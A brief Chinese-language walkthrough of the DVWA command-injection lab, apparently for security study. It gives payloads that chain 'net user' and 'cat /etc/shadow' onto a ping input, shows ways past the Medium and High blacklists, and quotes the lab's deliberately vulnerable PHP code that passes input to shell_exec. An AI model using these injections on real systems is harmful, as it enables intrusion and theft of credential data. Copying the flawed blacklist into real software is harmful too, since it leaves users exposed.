Command injection就是指通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的
LOW
无论是Windows还是Linux，都可以使用&&连接多个命令
执行命令10.10.10.137&&net user
如果是Linux的话，我们还可以直接执行10.10.10.137&&cat /etc/shadow文件
Medium
Medium过滤掉了命令连接符&&，；，但是没有过滤&，采用了黑名单机制
&& 和 & 连接的区别
&&连接的俩个命令，先执行第一个，执行成功后才执行第二个，否则不执行。
&连接的俩个命令，无论第一个是否执行成功，都会执行第二个
看过源码，此级别只对&&和；转为空格，所以
10.10.10.137&；&net user
High
High级别完善了黑名单机制，附源码
php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}";
}
?>
黑名单过滤了所有的非法输入，过滤了“|”，但是没有过滤“ |”
ping 10.10.10.137 |net user
impossiable
暂时无解